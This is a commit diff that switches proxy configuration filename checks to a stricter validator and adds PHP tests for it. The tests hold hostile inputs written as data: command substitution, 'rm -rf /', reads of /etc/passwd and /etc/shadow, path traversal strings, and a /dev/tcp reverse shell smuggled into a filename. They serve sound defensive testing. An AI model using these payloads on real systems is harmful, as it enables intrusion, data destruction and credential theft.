Improve proxy configuration validation (#10503)
This commit is contained in:
commit
2378997c86
3 changed files with 43 additions and 19 deletions
|
|
@ -28,12 +28,11 @@ public function delete(string $fileName)
|
||||||
|
|
||||||
// Decode filename: pipes are used to encode dots for Livewire property binding
|
// Decode filename: pipes are used to encode dots for Livewire property binding
|
||||||
// (e.g., 'my|service.yaml' -> 'my.service.yaml')
|
// (e.g., 'my|service.yaml' -> 'my.service.yaml')
|
||||||
// This must happen BEFORE validation because validateShellSafePath() correctly
|
// This must happen BEFORE validation because validateFilenameSafe()
|
||||||
// rejects pipe characters as dangerous shell metacharacters
|
// rejects pipe characters through validateShellSafePath().
|
||||||
$file = str_replace('|', '.', $fileName);
|
$file = str_replace('|', '.', $fileName);
|
||||||
|
|
||||||
// Validate filename to prevent command injection
|
validateFilenameSafe($file, 'proxy configuration filename');
|
||||||
validateShellSafePath($file, 'proxy configuration filename');
|
|
||||||
|
|
||||||
if ($proxy_type === 'CADDY' && $file === 'Caddyfile') {
|
if ($proxy_type === 'CADDY' && $file === 'Caddyfile') {
|
||||||
$this->dispatch('error', 'Cannot delete Caddyfile.');
|
$this->dispatch('error', 'Cannot delete Caddyfile.');
|
||||||
|
|
|
||||||
|
|
@ -43,8 +43,7 @@ public function addDynamicConfiguration()
|
||||||
'value' => 'required',
|
'value' => 'required',
|
||||||
]);
|
]);
|
||||||
|
|
||||||
// Additional security validation to prevent command injection
|
validateFilenameSafe($this->fileName, 'proxy configuration filename');
|
||||||
validateShellSafePath($this->fileName, 'proxy configuration filename');
|
|
||||||
|
|
||||||
if (data_get($this->parameters, 'server_uuid')) {
|
if (data_get($this->parameters, 'server_uuid')) {
|
||||||
$this->server = Server::ownedByCurrentTeam()->whereUuid(data_get($this->parameters, 'server_uuid'))->first();
|
$this->server = Server::ownedByCurrentTeam()->whereUuid(data_get($this->parameters, 'server_uuid'))->first();
|
||||||
|
|
|
||||||
|
|
@ -12,43 +12,69 @@
|
||||||
* - app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php
|
* - app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php
|
||||||
*/
|
*/
|
||||||
test('proxy configuration rejects command injection in filename with command substitution', function () {
|
test('proxy configuration rejects command injection in filename with command substitution', function () {
|
||||||
expect(fn () => validateShellSafePath('test$(whoami)', 'proxy configuration filename'))
|
expect(fn () => validateFilenameSafe('test$(whoami)', 'proxy configuration filename'))
|
||||||
->toThrow(Exception::class);
|
->toThrow(Exception::class);
|
||||||
});
|
});
|
||||||
|
|
||||||
test('proxy configuration rejects command injection with semicolon', function () {
|
test('proxy configuration rejects command injection with semicolon', function () {
|
||||||
expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename'))
|
expect(fn () => validateFilenameSafe('config; id > /tmp/pwned', 'proxy configuration filename'))
|
||||||
->toThrow(Exception::class);
|
->toThrow(Exception::class);
|
||||||
});
|
});
|
||||||
|
|
||||||
test('proxy configuration rejects command injection with pipe', function () {
|
test('proxy configuration rejects command injection with pipe', function () {
|
||||||
expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename'))
|
expect(fn () => validateFilenameSafe('config | cat /etc/passwd', 'proxy configuration filename'))
|
||||||
->toThrow(Exception::class);
|
->toThrow(Exception::class);
|
||||||
});
|
});
|
||||||
|
|
||||||
test('proxy configuration rejects command injection with backticks', function () {
|
test('proxy configuration rejects command injection with backticks', function () {
|
||||||
expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename'))
|
expect(fn () => validateFilenameSafe('config`whoami`.yaml', 'proxy configuration filename'))
|
||||||
->toThrow(Exception::class);
|
->toThrow(Exception::class);
|
||||||
});
|
});
|
||||||
|
|
||||||
test('proxy configuration rejects command injection with ampersand', function () {
|
test('proxy configuration rejects command injection with ampersand', function () {
|
||||||
expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename'))
|
expect(fn () => validateFilenameSafe('config && rm -rf /', 'proxy configuration filename'))
|
||||||
->toThrow(Exception::class);
|
->toThrow(Exception::class);
|
||||||
});
|
});
|
||||||
|
|
||||||
test('proxy configuration rejects command injection with redirect operators', function () {
|
test('proxy configuration rejects command injection with redirect operators', function () {
|
||||||
expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename'))
|
expect(fn () => validateFilenameSafe('test > /tmp/evil', 'proxy configuration filename'))
|
||||||
->toThrow(Exception::class);
|
->toThrow(Exception::class);
|
||||||
|
|
||||||
expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename'))
|
expect(fn () => validateFilenameSafe('test < /etc/shadow', 'proxy configuration filename'))
|
||||||
->toThrow(Exception::class);
|
->toThrow(Exception::class);
|
||||||
});
|
});
|
||||||
|
|
||||||
test('proxy configuration rejects reverse shell payload', function () {
|
test('proxy configuration rejects reverse shell payload', function () {
|
||||||
expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
|
expect(fn () => validateFilenameSafe('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
|
||||||
->toThrow(Exception::class);
|
->toThrow(Exception::class);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
test('proxy configuration rejects path traversal filenames', function (string $filename) {
|
||||||
|
expect(fn () => validateFilenameSafe($filename, 'proxy configuration filename'))
|
||||||
|
->toThrow(Exception::class);
|
||||||
|
})->with([
|
||||||
|
'../VICTIM_FILE',
|
||||||
|
'../../etc/shadow',
|
||||||
|
'/etc/passwd',
|
||||||
|
'subdir/config.yaml',
|
||||||
|
'subdir\\config.yaml',
|
||||||
|
'config..yaml',
|
||||||
|
"config.yaml\0../../etc/passwd",
|
||||||
|
]);
|
||||||
|
|
||||||
|
test('dynamic proxy components use filename-safe validation', function () {
|
||||||
|
$deleteComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php');
|
||||||
|
$createComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/NewDynamicConfiguration.php');
|
||||||
|
|
||||||
|
expect($deleteComponent)
|
||||||
|
->toContain("validateFilenameSafe(\$file, 'proxy configuration filename')")
|
||||||
|
->not->toContain("validateShellSafePath(\$file, 'proxy configuration filename')");
|
||||||
|
|
||||||
|
expect($createComponent)
|
||||||
|
->toContain("validateFilenameSafe(\$this->fileName, 'proxy configuration filename')")
|
||||||
|
->not->toContain("validateShellSafePath(\$this->fileName, 'proxy configuration filename')");
|
||||||
|
});
|
||||||
|
|
||||||
test('proxy configuration escapes filenames properly', function () {
|
test('proxy configuration escapes filenames properly', function () {
|
||||||
$filename = "config'test.yaml";
|
$filename = "config'test.yaml";
|
||||||
$escaped = escapeshellarg($filename);
|
$escaped = escapeshellarg($filename);
|
||||||
|
|
@ -64,20 +90,20 @@
|
||||||
});
|
});
|
||||||
|
|
||||||
test('proxy configuration accepts legitimate Traefik filenames', function () {
|
test('proxy configuration accepts legitimate Traefik filenames', function () {
|
||||||
expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename'))
|
expect(fn () => validateFilenameSafe('my-service.yaml', 'proxy configuration filename'))
|
||||||
->not->toThrow(Exception::class);
|
->not->toThrow(Exception::class);
|
||||||
|
|
||||||
expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename'))
|
expect(fn () => validateFilenameSafe('app.yml', 'proxy configuration filename'))
|
||||||
->not->toThrow(Exception::class);
|
->not->toThrow(Exception::class);
|
||||||
|
|
||||||
expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename'))
|
expect(fn () => validateFilenameSafe('router_config.yaml', 'proxy configuration filename'))
|
||||||
->not->toThrow(Exception::class);
|
->not->toThrow(Exception::class);
|
||||||
});
|
});
|
||||||
|
|
||||||
test('proxy configuration accepts legitimate Caddy filenames', function () {
|
test('proxy configuration accepts legitimate Caddy filenames', function () {
|
||||||
expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename'))
|
expect(fn () => validateFilenameSafe('my-service.caddy', 'proxy configuration filename'))
|
||||||
->not->toThrow(Exception::class);
|
->not->toThrow(Exception::class);
|
||||||
|
|
||||||
expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename'))
|
expect(fn () => validateFilenameSafe('app_config.caddy', 'proxy configuration filename'))
|
||||||
->not->toThrow(Exception::class);
|
->not->toThrow(Exception::class);
|
||||||
});
|
});
|
||||||
|
|
|
||||||
Loading…
Reference in a new issue